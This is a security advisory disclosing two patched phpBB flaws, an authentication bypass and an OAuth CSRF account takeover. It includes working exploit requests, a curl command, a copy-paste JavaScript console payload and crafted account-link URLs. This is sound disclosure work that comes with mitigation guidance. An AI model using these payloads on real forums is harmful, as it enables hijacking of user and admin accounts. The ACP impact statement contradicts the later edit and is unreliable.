phpBB authentication bypass: introducing CVE-2026-48611 and CVE-2026-48612

Our security research team discovered two vulnerabilities in phpBB that let an attacker impersonate or hijack any user account, including admins, without knowing the password. 

CVE-2026-48611 (PTT-2026-004) requires a single unauthenticated HTTP request and works on default phpBB installations. CVE-2026-48612 (PTT-2026-005) requires phpBB to have OAuth configured and the victim to be logged in when they access the attacker-supplied link.

CVE-2026-48611- authentication bypass in phpBB

  • CVE-2026-48611


    CVE ID: CVE-2026-48611
    PTT ID: PTT-2026-004
    CVSS v3.1: 9.4 Critical  AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    CWE: CWE-305: Authentication Bypass by Primary Weakness
    Affected versions: phpBB <= 3.3.16 and 4.0.0-a2 (default configuration, auth_method=db)
    Fixed in: phpBB 3.3.17 - June 6, 2026
    Discovered by: Dan Stefan Alexandru, Pentest-Tools.com security research team
    Reported to vendor: June 4, 2026
    Public disclosure: June 8, 2026

What is CVE-2026-48611?

CVE-2026-48611 (PTT-2026-004) is an authentication bypass in phpBB that lets an attacker get a valid session as any active user, including administrators, with a single unauthenticated HTTP request.

No password, no prior access, and no user interaction required.

The vulnerability was discovered by Dan Stefan Alexandru of the Pentest-Tools.com security research team and reported to phpBB on June 4, 2026.

The fix shipped in phpBB 3.3.17 on June 6, 2026.

Affected software by CVE-2026-48611

All phpBB versions prior to 3.3.17 running with auth_method=db (the default) are affected.

Every default phpBB installation is exposed. phpBB 4.0.0-a2 is also affected.

How CVE-2026-48611 works

phpBB's ucp_login_link controller accepts multiple authentication providers via the auth_provider parameter. It accepted an apache provider via the GET parameter auth_provider=apache, which caused phpBB to route authentication through the Apache provider instead of the configured one.

The Apache provider's login() method checks two things: that PHP_AUTH_USER matches the submitted username, and that PHP_AUTH_PW is non-empty. The  login() method never compares the value of PHP_AUTH_PW against the stored password hash. Because all major PHP SAPIs populate these variables from any incoming Authorization: Basic header, this vulnerability affects any web server running PHP - not just Apache.

The attack works as follows:


  1. The attacker identifies a target username. On default phpBB installs, the member list (memberlist.php) is publicly accessible and enumerates all active accounts.

  2. The attacker sends a single POST request to ucp.php?mode=login_link&auth_provider=apache&login_link_x=1 with an Authorization: Basic header encoding username:anythingnonempty and the login_username body parameter set to the same username.

  3. phpBB responds with a Set-Cookie header containing a valid session ID for the targeted user.

  4. The attacker uses the session cookie to access the forum as the targeted user. If the target is an administrator, the attacker has full forum access - posts, private messages, user data, and configuration.

Proof of concept for CVE-2026-48611

The following HTTP request bypasses authentication and returns a valid session as the admin user. The password value in the Authorization header is irrelevant as long as it is non-empty.


POST /ucp.php?mode=login_link&auth_provider=apache&login_link_x=1 HTTP/1.1

Host: target

Authorization: Basic YWRtaW46d3JvbmdwYXNzd29yZA==

(decodes to: admin:wrongpassword)

Content-Type: application/x-www-form-urlencoded

login_username=admin&login_password=x&login=Login

Response:


Set-Cookie: phpbb3_<hash>_u=2; ...

Set-Cookie: phpbb3_<hash>_sid=<session_id>; ...

Location: http://target/index.php?sid=<session_id>


The same exploit from the command line:


curl -sS -c cookies.txt \

  -u admin:wrongpassword \

  -d 'login_username=admin&login_password=x&login=Login' \

  'http://target/ucp.php?mode=login_link&auth_provider=apache&login_link_x=1'


For ease of use, an attacker can copy-paste the following JS payload into the browser’s DevTools console on the target site (replace 'admin' with any active username):


user = 'admin'

fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_x=1', {

  method: 'POST',

  headers: {

    'Authorization': 'Basic ' + btoa(user + ':wrongpassword'),

    'Content-Type': 'application/x-www-form-urlencoded' },

body: 'login_username=' + user + '&login_password=x&login=Login',

 credentials: 'include',

  redirect: 'manual'

}).then(r => console.log('Status:', r.status));


After the fetch completes, refreshing the page opens the forum as the targeted user.

Business impact of CVE-2026-48611

A successful attack gives the attacker a valid phpBB session as any active user.

For regular accounts, this means access to private messages and any content visible to that user. For administrator accounts, it means full read, write and delete access to the entire forum: posts, private boards, view user data, etc.

The only mitigation built into phpBB that limits further escalation is the Administration Control Panel (ACP), which requires a separate re-authentication step using the account password. This means the attacker cannot directly access ACP functionality without knowing the admin's password - but full forum-level access, including all private content, is unrestricted.

Exploitation requires only a known username. On default phpBB installations, the member list is publicly accessible, so an attacker can enumerate targets without any prior access.

Affected deployments include:

→ Any public phpBB forum running a version prior to 3.3.17 - the member list is visible by default, making username enumeration trivial.

→ Internal phpBB installations (company wikis, support boards) where the member list may be restricted - an attacker with internal network access or a known username can still exploit this.

→ phpBB 4.0.0-a2 alpha installations.

[Later edit: Jun 15, 2026]

Thank you to the anonymous reader who pointed out an attacker can, in fact, directly access the ACP panel after impersonating an admin user. We’ve updated the vulnerability description to reflect that.

Detection and scanning for CVE-2026-48611

You can detect vulnerable phpBB installations using the Network Scanner on Pentest-Tools.com. Detection is available on all paid plans. Here’s a sample finding for an exposed target you can include in your vulnerability assessment report or penetration report:

Mitigation for CVE-2026-48611

Patch. Upgrade to phpBB 3.3.17 or later. This is the only complete fix. There is no configuration workaround that fully closes this attack path on versions prior to 3.3.17.

After patching. Re-scan affected assets to confirm the fix is in place and no vulnerable instances remain.

Discovery and disclosure timeline for CVE-2026-48611

May 13, 2026: Vulnerability discovered by Dan Stefan Alexandru, Pentest-Tools.com security research team

June 4, 2026: Reported to phpBB security team by Dan Stefan Alexandru

June 6, 2026: phpBB 3.3.17 released

June 8, 2026: Public disclosure - this page published

July 4, 2026: Proof of concept details disclosed - updated this page

CVE-2026-48612 - OAuth auth-link CSRF leading to account takeover

  • CVE-2026-48612

    CVE ID: CVE-2026-48612
    PTT ID: PTT-2026-005
    CVSS v3.1: 8.3 High  AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
    CWE: CWE-352 — Cross-Site Request Forgery + missing OAuth state validation
    Affected versions: phpBB < 3.3.17 (OAuth must be configured — not default)
    Fixed in: phpBB 3.3.17 — June 6, 2026
    Discovered by: Dan Stefan Alexandru, Pentest-Tools.com security research team
    Reported to vendor: June 4, 2026
    Public disclosure: June 8, 2026

What is PTT-2026-005?

CVE-2026-48612 (PTT-2026-005) is a chained vulnerability in phpBB's OAuth implementation that lets an attacker take over the account of any logged-in user who opens a single attacker-supplied URL.

Two separate defects combine to produce the chain:

→ the OAuth service callers never pass the state parameter to the underlying library, silently bypassing state validation;

→ and the auth-link endpoint exposes a GET branch that triggers the account-link flow with no CSRF protection of any kind.


The attacker gets a valid OAuth authorization code using their own browser, embeds it in a crafted URL, and delivers it to the victim.

When the victim opens the link while logged into phpBB, the server redeems the attacker's code against the victim's authenticated session.

The result is a database row binding the attacker's identity-provider account to the victim's user_id. The attacker then logs in via OAuth from their own browser and lands in the victim's account.

The attacker can serve the link in a forum post, a private message, a phishing email, or inside an embedded image tag - the last method does not require the victim to click anything, only to load a page where the image is present.

The vulnerability was discovered by Dan Stefan Alexandru of the Pentest-Tools.com security research team and reported to phpBB on June 4, 2026.

The fix shipped in phpBB 3.3.17 on June 6, 2026, which added OAuth state validation and CSRF protection to the auth-link flow, and introduced a new purge_oauth_states.php cron task.

Affected software by CVE-2026-48612

All phpBB versions prior to 3.3.17 where $config['auth_method'] is set to 'oauth' and at least one OAuth 2.0 provider (Google, Facebook, or Bitly) is configured with valid client credentials. Twitter (OAuth 1.0a) is not affected.

Default phpBB installations use auth_method = 'db' and are not exposed to PTT-2026-005 (CVE-2026-48612). This vulnerability only affects boards where an administrator has explicitly enabled OAuth authentication.

How CVE-2026-48612 works

Two independent defects exist in the OAuth implementation. Combined, they allow an attacker to bind their identity-provider account to a victim's phpBB account without the victim's knowledge or consent.


Defect 1: Missing OAuth state validation.

The state parameter in the OAuth 2.0 flow exists to tie an authorization request to the browser session that initiated it, preventing an attacker from injecting a foreign authorization code. phpBB's OAuth service callers never pass the state parameter to the underlying OAuth library. 

As a result, state validation is silently bypassed - the library generates no state, so it accepts any response, including one initiated by a different browser.


Defect 2: Missing CSRF protection on the auth-link endpoint.

The UCP auth-link endpoint (i=ucp_auth_link&mode=auth_link) exposes a GET branch that triggers the OAuth account-link flow. Line 92 of ucp_auth_link.php contains no check_form_key() call and no CSRF validation of any kind. Any GET request to this endpoint from an authenticated session initiates the link flow immediately.


The attack sequence:

1. The attacker requests an OAuth authorization code from the configured provider using their own browser. The code is bound to the configured client_id and redirect_uri, but not to any session cookie or IP address - it is transferable.

2. The attacker embeds the captured code into the auth-link endpoint URL and delivers it to the victim via any channel (forum post, message, phishing email, embedded image).

3. The victim, while authenticated to phpBB, opens the URL. ucp_auth_link.php processes the request without CSRF validation, calls requestAccessToken() with the attacker's code, and - because state validation is bypassed - the provider accepts the exchange and returns an access token for the attacker's identity.

4. phpBB inserts a row into phpbb_oauth_accounts with user_id = <victim's user_id> (from the victim's authenticated session) and oauth_provider_id = <attacker's identity>.

5. The attacker opens phpBB in an incognito window, logs in via OAuth with their own credentials, and is silently mapped to the victim's user_id. The attacker now has full access to the victim's account.


Proof of concept for CVE-2026-48612

Step 1 - Attacker gets an authorization code:

curl -s -D - "http://<oauth-provider>/authorize?

    client_id=<client_id>

    &redirect_uri=http://<target>/ucp.php

    &response_type=code

    &scope=openid

    &state=fakestate"

# Response:

# location: http://<target>/ucp.php?code=rtEZQAPfI_fqz-f5xo...&state=fakestate


Step 2 - Attacker crafts the malicious URL:

http://<target>/ucp.php?i=ucp_auth_link&mode=auth_link

    &link=1

    &oauth_service=google

    &code=<CAPTURED_CODE>


Step 3 - Victim clicks the link while logged into phpBB. Server-side result:


-- phpbb_oauth_accounts after attack:

user_id | provider | oauth_provider_id

2       | google   | ATTACKER_OAUTH_ID_111111

-- user_id=2 is the admin account.

-- The attacker's OAuth identity is now bound to it.


Step 4 - Attacker logs in via OAuth from an incognito window:


http://<target>/ucp.php?mode=login&login=external&oauth_service=google

# phpBB resolves (provider=google, oauth_provider_id=ATTACKER_OAUTH_ID_111111)

# to user_id=2 and creates an authenticated session as the admin.

Business impact of CVE-2026-48612

A successful attack gives the attacker a permanent OAuth login credential for the victim's phpBB account. The binding persists in phpbb_oauth_accounts until an administrator removes it or the victim notices and revokes it.

For regular user accounts, the attacker gains access to private messages, any content visible to that user, and the ability to post or take moderation actions under the victim's identity. For administrator accounts, this extends to full forum management - user data, private boards, configuration, and the ability to moderate or delete any content.

phpBB's Administration Control Panel requires password re-authentication and does not offer OAuth login, so ACP-level functions are not reachable via this chain. Password and email changes also require the current password.

The attack can be delivered without any user clicking - by embedding the malicious URL inside an <img src="..."> tag in a forum post or private message. A victim's browser loads the image, making the GET request while the victim is authenticated, and the account link is created silently.

Affected deployments include any phpBB board where an administrator has enabled OAuth authentication with Google, Facebook, or Bitly as the provider.

Mitigation for CVE-2026-48612

Patch. Upgrade to phpBB 3.3.17 or later. The fix adds OAuth state parameter validation, CSRF protection to the auth-link endpoint, and a new purge_oauth_states.php cron task for cleanup. This is the only complete fix.

If you cannot patch immediately and your board has OAuth enabled, disable OAuth authentication in the administration panel (ACP > General > Authentication) and switch to auth_method=db until the upgrade is complete. This removes the attack surface entirely.

After patching. Audit phpbb_oauth_accounts for unexpected entries - rows where the oauth_provider_id does not match an account the user intentionally linked. Remove any suspicious entries.

Discovery and disclosure timeline for CVE-2026-48612

May 13, 2026: Vulnerability discovered by Dan Stefan Alexandru, Pentest-Tools.com security research team

June 4, 2026: Reported to phpBB security team by Dan Stefan Alexandru

June 6, 2026: phpBB 3.3.17 released

June 8, 2026: Public disclosure - this page published

July 4, 2026: Proof of concept details disclosed - updated this page